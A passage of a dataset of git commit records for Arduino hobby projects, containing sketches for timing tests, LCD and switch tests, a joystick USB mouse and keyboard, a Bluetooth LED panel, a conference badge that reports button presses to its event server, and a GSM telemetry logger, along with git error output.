delayMicroseconds(2);\n delayMicroseconds(2);\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" delayMicroseconds(5) : \"));\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<5; i++)\n {\n for (j=0; j<10000; j++)\n {\n delayMicroseconds(5);\n delayMicroseconds(5);\n delayMicroseconds(5);\n delayMicroseconds(5);\n delayMicroseconds(5);\n delayMicroseconds(5);\n delayMicroseconds(5);\n delayMicroseconds(5);\n delayMicroseconds(5);\n delayMicroseconds(5);\n delayMicroseconds(5);\n delayMicroseconds(5);\n delayMicroseconds(5);\n delayMicroseconds(5);\n delayMicroseconds(5);\n delayMicroseconds(5);\n delayMicroseconds(5);\n delayMicroseconds(5);\n delayMicroseconds(5);\n delayMicroseconds(5);\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" delayMicroseconds(100) : \"));\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<1; i++)\n {\n for (j=0; j<1000; j++)\n {\n delayMicroseconds(100);\n delayMicroseconds(100);\n delayMicroseconds(100);\n delayMicroseconds(100);\n delayMicroseconds(100);\n delayMicroseconds(100);\n delayMicroseconds(100);\n delayMicroseconds(100);\n delayMicroseconds(100);\n delayMicroseconds(100);\n delayMicroseconds(100);\n delayMicroseconds(100);\n delayMicroseconds(100);\n delayMicroseconds(100);\n delayMicroseconds(100);\n delayMicroseconds(100);\n delayMicroseconds(100);\n delayMicroseconds(100);\n delayMicroseconds(100);\n delayMicroseconds(100);\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n Serial.println(F(\"-----------\"));\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ShowInfo\/ShowInfo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0f070ef4c3128e0946125ba80d3366142d97541d","subject":"updated to send the full reading","message":"updated to send the full reading\n","repos":"relayr\/Arduino-Bridge-Library","old_file":"libraries\/WunderbarBridgeMega\/examples\/rfid-bridge\/rfid-bridge.ino","new_file":"libraries\/WunderbarBridgeMega\/examples\/rfid-bridge\/rfid-bridge.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/relayr\/Arduino-Bridge-Library.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8425a0857202db3eb1992e860179603de19cc69b","subject":"added utils","message":"added utils\n","repos":"Sonoscopia\/KidModular,Sonoscopia\/KidModular","old_file":"utils\/TestLCDdim\/TestLCDdim.ino","new_file":"utils\/TestLCDdim\/TestLCDdim.ino","new_contents":"\/\/ test LCD screen dimensions with 2 pots connected on A0 and A1 (x, y)\n\n#include <UTFT.h>\n#define DEBUG 0\n\n\nint x, y;\n\nUTFT lcd(CTE32HR,38,39,40,41);\n\nvoid setup(){\n lcd.InitLCD();\n if(DEBUG)Serial.begin(9600);\n lcd.fillScr(VGA_BLACK);\n}\n\nvoid loop(){\n x = analogRead(A0);\n y = analogRead(A1);\n \n if(DEBUG){\n Serial.print(\"x: \");\n Serial.print(x);\n Serial.print(\" | y: \");\n Serial.println(y);\n }\n \n \n\/\/ lcd.fillScr(VGA_BLACK);\n \/\/lcd.clrScr();\n lcd.setColor(VGA_GREEN);\n lcd.fillRect(0, 0, x, y);\n \n delay(50);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'utils\/TestLCDdim\/TestLCDdim.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ac88a040849c8654db4862fbfb7cf4eed9db6750","subject":"code","message":"code\n\ncode\n","repos":"Wind31\/code2things","old_file":"yeeplight.ino","new_file":"yeeplight.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Wind31\/code2things.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"83121755e2daee4bd058fbc1c8641d6ce2acea6c","subject":"Fix bug in ground speed calculation","message":"Fix bug in ground speed calculation\n","repos":"UgCS\/sagetech-ardu,UgCS\/sagetech-ardu","old_file":"sagetech-ardu.ino","new_file":"sagetech-ardu.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/UgCS\/sagetech-ardu.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"3315a342741b1c35b1c808645a1ca4950bdb20ca","subject":"Asservissement: rectification pins","message":"Asservissement: rectification pins\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Moteur\/Software\/Asservissement\/Asservissement vitesse\/Asservissement vitesse\/asservissementVitesse.ino","new_file":"Module Moteur\/Software\/Asservissement\/Asservissement vitesse\/Asservissement vitesse\/asservissementVitesse.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Moteur\/Software\/Asservissement\/Asservissement' did not match any file(s) known to git\nerror: pathspec 'vitesse\/Asservissement' did not match any file(s) known to git\nerror: pathspec 'vitesse\/asservissementVitesse.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6ba72064a5a3928337c9b4a2999da9a4ee0055d4","subject":"Added copy-paste implementation for Pro Micro board (untested)","message":"Added copy-paste implementation for Pro Micro board (untested)\n","repos":"tknapstad\/arduino-mouse-keyboard","old_file":"MouseKeyboard-ProMicro\/MouseKeyboard-ProMicro.ino","new_file":"MouseKeyboard-ProMicro\/MouseKeyboard-ProMicro.ino","new_contents":"#include \"HID-Project.h\"\n#include \"MouseKeyboardDataTypes.h\"\n\n#define Y_AXIS_PIN A0\n#define X_AXIS_PIN A1\n#define BUTTON_PIN A2\n\n#define JOYSTICK_JITTER 1\n#define XY_RANGE 5\n\nboolean buttonPressed = false;\nuint8_t keyPressed = 0;\n\nint8_t x_zero = 0;\nint8_t y_zero = 0;\nInputData prev_input = {0};\nInputData input = {0};\n\ntypedef void (*ProcessInput)(InputData const &);\n\n\/\/ Return false if all zeros in current and prev\nboolean should_report_input(InputData const & current, InputData const & prev) {\n return (current.x + current.y + current.btn + current.key + prev.x + prev.y + prev.btn + prev.key);\n}\n\nvoid copy_input(InputData const & src, InputData & dst) {\n dst.x = src.x;\n dst.y = src.y;\n dst.btn = src.btn;\n dst.key = src.key;\n}\n\nvoid calibrate_joystick() {\n \/\/ Read the zero position of the joystick on startup for calibration\n \/\/ Fingers crosses that it's not moved at this time\n x_zero = map(analogRead(X_AXIS_PIN), 0, 1 << 10, -XY_RANGE, XY_RANGE);\n y_zero = map(analogRead(Y_AXIS_PIN), 0, 1 << 10, XY_RANGE, -XY_RANGE); \n}\n\nvoid read_input(InputData & input) {\n input.x = map(analogRead(X_AXIS_PIN), 0, 1 << 10, -XY_RANGE, XY_RANGE) - x_zero;\n input.y = map(analogRead(Y_AXIS_PIN), 0, 1 << 10, XY_RANGE, -XY_RANGE) - y_zero;\n\n \/\/ Zero x and\/or y if below the jitter threshold\n if (abs(input.x) <= JOYSTICK_JITTER) {\n input.x = 0;\n }\n if (abs(input.y) <= JOYSTICK_JITTER) {\n input.y = 0;\n }\n\n input.btn = !digitalRead(BUTTON_PIN);\n \/\/ TODO: read actual keys when connected\n input.key = 0;\n}\n\nvoid handle_input(InputData const & input, InputData & prev_input, ProcessInput process) {\n if (should_report_input(input, prev_input)) {\n copy_input(input, prev_input);\n process(input);\n } \n}\n\nvoid on_button_released() {\n Keyboard.write(KEY_S);\n Keyboard.write(KEY_P);\n Keyboard.write(KEY_R);\n Keyboard.write(KEY_E);\n Keyboard.write(KEY_S);\n Keyboard.write(KEY_S);\n Keyboard.write(KEY_SPACE);\n Keyboard.write(KEY_P);\n Keyboard.write(KEY_U);\n Keyboard.write(KEY_L);\n Keyboard.write(KEY_L);\n Keyboard.write(KEY_ENTER);\n}\n\nvoid on_key_pressed(const uint8_t key) {\n \/\/ TODO: handle keys \n}\n\nvoid send_usb_input_reports(InputData const & input_) {\n \/\/ Release the mouse button if the joystick is released\n if (input_.x == 0 && input_.y == 0) {\n if (Mouse.isPressed(MOUSE_MIDDLE)) {\n Mouse.release(MOUSE_MIDDLE);\n \/\/Serial.println(F(\"Middle mouse released\"));\n }\n } else {\n \/\/ Press the middle mouse button if it's not allready\n if (!Mouse.isPressed(MOUSE_MIDDLE)) {\n Mouse.press(MOUSE_MIDDLE);\n \/\/Serial.println(F(\"Middle mouse pressed\"));\n }\n Mouse.move(input_.x, input_.y);\n }\n\n if (input_.btn) {\n buttonPressed = true;\n } else {\n if (buttonPressed) {\n on_button_released();\n buttonPressed = false;\n }\n }\n\n if (input_.key) {\n keyPressed = input_.key;\n } else {\n if (keyPressed) {\n on_key_pressed(input_.key);\n keyPressed = 0;\n }\n }\n}\n\nvoid setup() {\n pinMode(BUTTON_PIN, INPUT_PULLUP);\n\n calibrate_joystick();\n\n \/\/ Sends a clean report to the host. This is important on any Arduino type.\n Keyboard.begin();\n Mouse.begin();\n}\n\nvoid loop() {\n read_input(input);\n handle_input(input, prev_input, send_usb_input_reports);\n delay(5);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MouseKeyboard-ProMicro\/MouseKeyboard-ProMicro.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0e660ddc8dec6d05ef4f9ee78f807c68166f1d92","subject":"mod Bluetooth","message":"mod Bluetooth","repos":"PanneauLED\/Teensy-Files","old_file":"Programme_pour_bluetooth_mod.ino","new_file":"Programme_pour_bluetooth_mod.ino","new_contents":"#include \"Arduino.h\"\n#include <FastLED.h>\n\/\/#include \"Panel.h\"\n\n#include \"LetterA.h\"\n\/\/ nb de ligne par groupe\n#define nbLine 4\n\/\/ nb de led par ligne\n#define nLEDs 64\n\n#define NUM_LEDS nbLine*nLEDs\n#define nbGroupe 6\n#define totLED NUM_LEDS*nbGroupe\n\n\/\/definition des pin correspondant aux rubans\n#define CLOCKPIN_0 11\n#define CLOCKPIN_1 9\n#define CLOCKPIN_2 7\n#define CLOCKPIN_3 17\n#define CLOCKPIN_4 15\n#define CLOCKPIN_5 13\n\n#define DATAPIN_0 12\n#define DATAPIN_1 10\n#define DATAPIN_2 8\n#define DATAPIN_3 18\n#define DATAPIN_4 16\n#define DATAPIN_5 14\n\n\/\/ Bluetooth Connection:\n#include <SoftwareSerial.h>\nSoftwareSerial BLUETOOTH(0, 1); \n\/\/ creates a \"virtual\" serial port\/UART\n\/\/ connect BT module TX to D0\n\/\/ connect BT module RX to D1\n\/\/ connect BT Vcc to 3.3V, GND to GND\n\n\/\/Sortie bluetooth Serial\n\/\/#define BLUETOOTH Serial1\n\/\/ tableau des couleurs des leds\nCRGB leds[nbGroupe][NUM_LEDS];\n\n\/\/ Instantiate panel\nPanel ledPanel;\n\n\/\/ num\u00e9ro de la Led \nuint16_t i=0;\n\/\/ num\u00e9ro du groupe courant\nint groupenum=0;\n\/\/temps du dernier pixel re\u00e7u\nunsigned long lastUpdateTime=millis();\nvoid reinitialiser(){\n \n if (millis()-lastUpdateTime>1000){\n groupenum=0;\n i=0;\n }\n \n}\n\n\n\nvoid loadImage(){\n \/* chaque groupe de trois octets repr\u00e9sente \n les couleurs d'un pixel dans l'ordre RGB.\n On charge le pixels dans le tableau \u00e0 son\n emplacement correspondant *\/\n if (BLUETOOTH.available()>2){\n lastUpdateTime=millis();\n \n leds[groupenum][i].red=BLUETOOTH.read();\n leds[groupenum][i].green=BLUETOOTH.read();\n leds[groupenum][i].blue=BLUETOOTH.read();\n i++;\n \/* On remet le num\u00e9ro de la led du compteur \n a z\u00e9ro quand on arrive au bout *\/\n if (i>NUM_LEDS-1){\n groupenum++;\n \/* si on a mis \u00e0 jour tout les pixels\n on affiche le r\u00e9sultat *\/\n if (groupenum==nbGroupe){\n groupenum=0;\n FastLED.show();\n } \n i=0;\n }\n }\n}\n\nuint16_t state = 0;\nbyte r,g ,b;\n\/**************************************************\n * Change la couleur des Led de mani\u00e8re continue *\n * Permet de tester si elle fonctionne toute *\n * *\n **************************************************\/\n void fading(){\n switch(state \/ 128)\n {\n case 0:\n r = 127 - state % 128; \/\/ red down\n g = state % 128; \/\/ green up\n b = 0; \/\/ blue off\n break;\n case 1:\n g = 127 - state % 128; \/\/ green down\n b = state % 128; \/\/ blue up\n r = 0; \/\/ red off\n break;\n case 2:\n b = 127 - state % 128; \/\/ blue down\n r = state % 128; \/\/ red up\n g = 0; \/\/ green off\n break;\n }\n\n for(byte k=0;k<nbGroupe;k++){\n for (int j=0; j<nbLine;j++){\n for (int i =0;i<nLEDs;i++){\n leds[k][j*nLEDs+i].red=r;\n leds[k][j*nLEDs+i].green=g;\n leds[k][j*nLEDs+i].blue=b;\n }\n \n } \n \n FastLED.show();\n } \n state++;\n if (state==384){state=0;}\n }\n \n \nvoid turnRED(){\n \n r = 10;\n b = 0;\n g = 0;\n \n for(byte k=0;k<nbGroupe;k++){\n for (int j=0; j<nbLine;j++){\n for (int i =0;i<nLEDs;i++){\n leds[k][j*nLEDs+i].red=r;\n leds[k][j*nLEDs+i].green=g;\n leds[k][j*nLEDs+i].blue=b;\n }\n } \n FastLED.show();\n } \n}\n\nvoid turnOFF(){\n \n r = 0;\n b = 0;\n g = 0;\n \n for(byte k=0;k<nbGroupe;k++){\n for (int j=0; j<nbLine;j++){\n for (int i =0;i<nLEDs;i++){\n leds[k][j*nLEDs+i].red=r;\n leds[k][j*nLEDs+i].green=g;\n leds[k][j*nLEDs+i].blue=b;\n }\n } \n FastLED.show();\n } \n}\n\n\nvoid setup(){\n \/\/ on initialise la connexion serial\n Serial.begin(9600);\n BLUETOOTH.begin(9600);\n delay(200);\n BLUETOOTH.println(\"Hello from Arduino\");\n \/\/ on ajoute tout les rubans de led un par un\n FastLED.addLeds<LPD8806, DATAPIN_0,CLOCKPIN_0>(leds[0], NUM_LEDS);\n FastLED.addLeds<LPD8806, DATAPIN_1,CLOCKPIN_1>(leds[1], NUM_LEDS); \n FastLED.addLeds<LPD8806, DATAPIN_2,CLOCKPIN_2>(leds[2], NUM_LEDS); \n FastLED.addLeds<LPD8806, DATAPIN_3,CLOCKPIN_3>(leds[3], NUM_LEDS); \n FastLED.addLeds<LPD8806, DATAPIN_4,CLOCKPIN_4>(leds[4], NUM_LEDS);\n FastLED.addLeds<LPD8806, DATAPIN_5,CLOCKPIN_5>(leds[5], NUM_LEDS);\n \/\/fading();\n ledPanel.allOff(leds);\n LetterA _a(leds, ledPanel);\n _a.place(leds, ledPanel);\n \n \n \n\/\/ leds[0][70].red=20;\n\/\/ leds[0][70].green=20;\n\/\/ leds[0][70].blue=20;\n\/\/ FastLED.show();\n \n}\n\nString buffer; \/\/ stores incoming character from other device\nvoid loop(){\n \/\/loadImage();\n \/\/reinitialiser();\n \/\/ledPanel.ledOn(0, 0, leds);\n \n \/\/fading();\n \/\/turnRED();\n \/\/turnOFF();\n \/\/ if text arrived in from BT serial:\n if (BLUETOOTH.available()){\n \/\/ buffer=(BLUETOOTH.read());\n char indicator = (BLUETOOTH.read()); \/\/indicates the purpose of the following String\n int firstNumber = (BLUETOOTH.read());\n int secondNumber = (BLUETOOTH.read());\n BLUETOOTH.println(indicator + ' ' + firstNumber + ' ' + secondNumber);\n \/\/buffer = (BLUETOOTH.readString());\n char letters [50];\n buffer.toCharArray(letters,50);\n \n switch(indicator) {\n case 'h':\n BLUETOOTH.println(\"home score\");\n BLUETOOTH.println(buffer);\n BLUETOOTH.println(\"as int:\" + buffer.toInt());\n break;\n case 'v': \n BLUETOOTH.println(\"visitor score\");\n BLUETOOTH.println(buffer);\n BLUETOOTH.println(\"as int:\" + buffer.toInt());\n break;\n }\n\/\/ for(int i = 0;i<=50;i++){\n\/\/ if (letters[i]=='a'){\n\/\/ fading();\n\/\/ BLUETOOTH.println(\"fading\");\n\/\/ }\n\/\/ if (letters[i]=='b'){\n\/\/ turnRED();\n\/\/ BLUETOOTH.println(\"turned red\");\n\/\/ }\n\/\/ if (letters[i]=='c'){\n\/\/ turnOFF();\n\/\/ BLUETOOTH.println(\"turned off\");\n\/\/ } \n\/\/ }\n \/\/ you can add more \"if\" statements with other characters to add more commands\n }\n \n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Programme_pour_bluetooth_mod.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"006f1bd0d0736d56adae12fd1a46d3e8e3327c59","subject":"commit after successful test","message":"commit after successful test\n","repos":"thjm\/Sketches,thjm\/Sketches,thjm\/Sketches","old_file":"SwitchTest\/SwitchTest.ino","new_file":"SwitchTest\/SwitchTest.ino","new_contents":"\n\/\/\n\/\/ Test code for the switches attached to the Teensy in the 4m Transverter\n\/\/\n\/\/ $Id$\n\/\/\n\n\n#include <Arduino.h>\n\n\/** Leftmost switch. *\/\nuint8_t const kLEFT_SWITCH = 2;\n\/** Middle switch. *\/\nuint8_t const kMIDDLE_SWITCH = 3;\n\/** Rightmost switch. *\/\nuint8_t const kRIGHT_SWITCH = 4;\n\nvoid setup() {\n\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(9600);\n \n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for native USB port only\n }\n \n Serial.println(\"\\nChecking for switches...\");\n\n \/\/ initialize some digital pins as input (the default)\n pinMode(kLEFT_SWITCH, INPUT);\n pinMode(kMIDDLE_SWITCH, INPUT);\n pinMode(kRIGHT_SWITCH, INPUT);\n \n \/\/ and activate the pullups\n digitalWrite(kLEFT_SWITCH, HIGH);\n digitalWrite(kMIDDLE_SWITCH, HIGH);\n digitalWrite(kRIGHT_SWITCH, HIGH);\n}\n\nvoid loop() {\n\n static bool left_switch = (bool)digitalRead(kLEFT_SWITCH);\n static bool middle_switch = (bool)digitalRead(kMIDDLE_SWITCH);\n static bool right_switch = (bool)digitalRead(kRIGHT_SWITCH);\n\n static bool first = true;\n\n if ( first ) {\n\n Serial.print(\"Left switch is \");\n Serial.println((left_switch ? \"ON\" : \"OFF\"));\n\n Serial.print(\"Middle switch is \");\n Serial.println((middle_switch ? \"ON\" : \"OFF\"));\n\n Serial.print(\"Right switch is \");\n Serial.println((right_switch ? \"ON\" : \"OFF\"));\n \n first = false;\n }\n \n if ( (bool)digitalRead(kLEFT_SWITCH) != left_switch) {\n Serial.print(\"Left switch is \");\n left_switch = !left_switch;\n Serial.println((left_switch ? \"ON\" : \"OFF\"));\n }\n\n if ( (bool)digitalRead(kMIDDLE_SWITCH) != middle_switch) {\n Serial.print(\"Middle switch is \");\n middle_switch = !middle_switch;\n Serial.println((middle_switch ? \"ON\" : \"OFF\"));\n }\n \n if ( (bool)digitalRead(kRIGHT_SWITCH) != right_switch) {\n Serial.print(\"Right switch is \");\n right_switch = !right_switch;\n Serial.println((right_switch ? \"ON\" : \"OFF\"));\n }\n\n delay(100);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SwitchTest\/SwitchTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4431f003908fa45bd3e7f368c7d8a95c5542ad87","subject":"Add test.ino example file","message":"Add test.ino example file\n","repos":"arduino-cli\/arduino-node","old_file":"fixtures\/test.ino","new_file":"fixtures\/test.ino","new_contents":"void setup() {\n\n}\n\nvoid loop() {\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'fixtures\/test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"75ac683d23bf6fdd133f39a96669e9a00134d030","subject":"Version 1.0 used for discussion in Village Talk","message":"Version 1.0 used for discussion in Village Talk","repos":"thomascruff\/SkydogCon16","old_file":"SkydogCon6Badge\/SkydogCon6Badge.ino","new_file":"SkydogCon6Badge\/SkydogCon6Badge.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <DNSServer.h> \/\/Local DNS Server used for redirecting all requests to the configuration portal\n#include <ESP8266WebServer.h> \/\/Local WebServer used to serve the configuration portal\n#include <WiFiManager.h> \/\/https:\/\/github.com\/tzapu\/WiFiManager WiFi Configuration Magic\n#include <WiFiClient.h>\n\n#include \"SH1106.h\"\n#include \"Adafruit_MCP23008.h\"\n#include \"ESP.h\"\n\n\/* Code written by Redvers Davies and Tom Ruff for SkydogCon 6 \n * \n *\/\n \nADC_MODE(ADC_VCC);\n\nSH1106 display(0x3c, 5,4);\nAdafruit_MCP23008 mcp;\n\nWiFiManager wifiManager;\n\nconst char* ssid = \"SkydogCon6\"; \/*Put your SSID here*\/\nconst char* password = \"ThankYouToTrustedSec\"; \/*Put your WiFi password here*\/\n\nint loopMe = 0;\n\nIPAddress server(192,168,0,24); \/* Put your server ip address here *\/\n\n int bu = 0;\n int bd = 0;\n int bl = 0;\n int br = 0;\n int bp = 0;\n \nbyte packetBuffer[2000];\n\nWiFiUDP UdpOut;\nWiFiClient client;\n\nunsigned int localPort = 2390;\n\nvoid setup()\n{\n mcp.begin();\n mcp.pinMode(0, INPUT);\n mcp.pullUp(0, LOW);\n mcp.pinMode(1, INPUT);\n mcp.pullUp(1, LOW);\n mcp.pinMode(2, INPUT);\n mcp.pullUp(2, LOW);\n mcp.pinMode(3, INPUT);\n mcp.pullUp(3, LOW);\n mcp.pinMode(4, INPUT);\n mcp.pullUp(4, LOW);\n\n mcp.pinMode(5, OUTPUT);\n mcp.pinMode(6, OUTPUT); \n mcp.pinMode(7, OUTPUT);\n\n mcp.digitalWrite(5, HIGH);\n mcp.digitalWrite(6, HIGH);\n mcp.digitalWrite(7, HIGH);\n\nUdpOut.begin(localPort);\n \n Serial.begin(115200);\n while (!Serial); \/\/ Leonardo: wait for serial monitor\n display.init();\n display.flipScreenVertically();\n display.setFont(ArialMT_Plain_10);\n\n\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n\n \/\/display.clear();\n display.drawString(0,0,\"$ cu -l \/dev\/ttyS0 -s 57600\");\n display.drawString(0,13,\"AT#MFR?\");\n display.display();\n \n \/\/ Turn off local access point\n wifi_set_opmode(0x1);\n WiFi.begin(ssid, password);\n \n\n int id = ESP.getChipId();\n char message[50];\n sprintf(message, \"ATDT9,1555%d\", id);\n display.drawString(0,23, \"@ruff_tr <tcruff@tcruff.com>\");\n display.drawString(0,33, \"OK\");\n display.display();\n delay(500);\n display.drawString(0,43, message);\n display.display();\n while(WiFi.status() != WL_CONNECTED) {\n delay(100);\n Serial.print(\".\");\n }\n\n display.drawString(0,53, \"CONNECT 9600 V42bis\");\n display.display();\n Serial.println(WiFi.localIP());\n\n if (client.connect(server, 12345)) {\n Serial.println(\"Connected to evil.red\");\n client.setNoDelay(true);\n int id = ESP.getChipId();\n char message[50];\n sprintf(message, \"%010d%s\", id, \"COLDBOOT\");\n client.write_P(message, 18);\n }\n}\n\nvoid loop() {\n float volt = 0.00f;\n\n int sizeBuf = client.available();\n\n if (sizeBuf >= 1023) {\n Serial.print(sizeBuf);\n Serial.println(\" bytes in buffer waiting for me!\");\n \n client.read(packetBuffer, 1);\n client.read(packetBuffer, 1024);\n const char *image = reinterpret_cast<const char*>(packetBuffer);\n\n display.clear();\n display.drawXbm(0,0,128,64, image);\n display.display();\n memset(packetBuffer,128,2000);\n }\n\n delay(100);\n loopMe++;\n\n if (loopMe > 20)\n {\n char pmessage[50];\n sprintf(pmessage, \"%s%d\", \"BATT\", ESP.getVcc());\n sendPacket(pmessage);\n \n \/\/ Uncomment me if you want to send the Wifi strength back to the server \n \/\/ but can take several hundred milliseconds if there is lots of SSIDs around\n \/\/sprintf(pmessage, \"%s%d\", \"RSS\", WiFi.RSSI());\n \/\/sendPacket(pmessage);\n \n loopMe = 0;\n }\n if (!client.connected())\n {\n client.stop();\n client.connect(server, 12345);\n }\n if (loopMe == 100)\n {\n ESP.restart();\n }\n \n if ((mcp.digitalRead(0) == 1) && (bp == 0)) { \n Serial.println(\"P down\");\n sendPacket(\"PD\");\n bp = 1;\n }\n if ((mcp.digitalRead(0) == 0) && (bp == 1)) { \n Serial.println(\"P up\");\n sendPacket(\"PU\");\n bp = 0;\n }\n if ((mcp.digitalRead(1) == 1) && (bu == 0)) { \n Serial.println(\"U down\");\n sendPacket(\"UD\");\n bu = 1;\n }\n if ((mcp.digitalRead(1) == 0) && (bu == 1)) { \n Serial.println(\"U up\");\n sendPacket(\"UU\");\n bu = 0;\n }\n if ((mcp.digitalRead(3) == 1) && (bd == 0)) { \n Serial.println(\"D down\");\n sendPacket(\"DD\");\n bd = 1;\n }\n if ((mcp.digitalRead(3) == 0) && (bd == 1)) { \n Serial.println(\"D up\");\n sendPacket(\"DU\");\n bd = 0;\n }\n if ((mcp.digitalRead(2) == 1) && (bl == 0)) { \n Serial.println(\"L down\");\n sendPacket(\"LD\");\n bl = 1;\n }\n if ((mcp.digitalRead(2) == 0) && (bl == 1)) { \n Serial.println(\"L up\");\n sendPacket(\"LU\");\n bl = 0;\n }\n if ((mcp.digitalRead(4) == 1) && (br == 0)) { \n Serial.println(\"R down\");\n sendPacket(\"RD\");\n br = 1;\n }\n if ((mcp.digitalRead(4) == 0) && (br == 1)) { \n Serial.println(\"R up\");\n sendPacket(\"RU\");\n br = 0;\n }\n\n}\n\nvoid sendPacket(const char *data) {\n \n int id = ESP.getChipId();\n char message[50];\n sprintf(message, \"%010d%s\", id, data);\n client.write_P(message, 18);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SkydogCon6Badge\/SkydogCon6Badge.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"1a272f537a9f3fefec1f7f336c8a01e6138b7d9d","subject":"restructured for arduino ide","message":"restructured for arduino ide\n","repos":"nalch\/djenko","old_file":"arduino\/djenko\/djenko.ino","new_file":"arduino\/djenko\/djenko.ino","new_contents":"int incomingByte = 0; \/\/ for incoming serial data\n\nvoid setup() {\n\n \/\/ Green\n pinMode(12, OUTPUT);\n \/\/ Yellow\n pinMode(11, OUTPUT);\n \/\/ Red\n pinMode(10, OUTPUT);\n\n Serial.begin(9600); \/\/ opens serial port, sets data rate to 9600 bps\n\n}\n\n\n\nvoid loop() {\n\n if (Serial.available() > 0) {\n incomingByte = Serial.read();\n }\n\n if (incomingByte == 'b') {\n green();\n } else if (incomingByte == 'y') {\n yellow();\n } else if (incomingByte == 'r') {\n red();\n } else if (incomingByte == 'all') {\n all();\n }\n\n}\n\nvoid green() {\n\n digitalWrite(12, HIGH);\n digitalWrite(11, LOW);\n digitalWrite(10, LOW);\n delay(1000);\n\n}\n\nvoid yellow() {\n\n digitalWrite(12, LOW);\n digitalWrite(11, HIGH);\n digitalWrite(10, LOW);\n delay(1000);\n\n}\n\nvoid red() {\n\n digitalWrite(12, LOW);\n digitalWrite(11, LOW);\n digitalWrite(10, HIGH);\n delay(1000);\n\n}\n\nvoid all() {\n\n digitalWrite(12, HIGH);\n digitalWrite(11, HIGH);\n digitalWrite(10, HIGH);\n delay(1000);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/djenko\/djenko.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6b31c287cdbaa44d0621960d33c8728cfffb9345","subject":"Powers on and talks to SimCom GSM module","message":"Powers on and talks to SimCom GSM module\n","repos":"spookysys\/telemetry-code","old_file":"telemetrics\/telemetrics.ino","new_file":"telemetrics\/telemetrics.ino","new_contents":"#include <assert.h>\n#include <Wire.h>\n#include <Uart.h>\n#include \"wiring_private.h\" \/\/ pinPeripheral() function\n\n#undef min\n#undef max\n#include <utility>\n#include <vector>\n\n\n#define DEBUG_PRINT\n\n \n\n\n\nnamespace misc \n{\n static const auto VBAT_PIN = A7;\n float readBatteryVoltage()\n {\n const float refVolt = 3.0f;\n return analogRead(VBAT_PIN)*(2.f*refVolt\/1024.f);\n }\n}\n\n\nclass Logger\n{\npublic:\n void begin() {\n }\n\n template<typename... Args>\n void print(Args&&... args)\n {\n Serial.print(std::forward<Args>(args)...);\n }\n\n template<typename... Args>\n void println(Args&&... args)\n {\n Serial.println(std::forward<Args>(args)...);\n } \n\n template<typename... Args>\n void write(Args&&... args)\n {\n Serial.write(std::forward<Args>(args)...);\n }\n\n \n} logger;\n\n\n\n\nclass SerialReceiver\n{ \n std::vector<std::pair<long long, String>> received;\n String curStr;\n long long tick=0;\n static const int timeout = 10;\n Uart& serial;\npublic:\n SerialReceiver(Uart& serial) : serial(serial) {}\n void update()\n {\n while (serial.available()) {\n char ch = serial.read();\n curStr += ch;\n if (ch == '\\n') {\n curStr.trim();\n if (curStr.length()>0) {\n logger.print(\"<\");\n logger.println(curStr);\n received.push_back(std::make_pair(timeout, curStr));\n curStr = \"\";\n 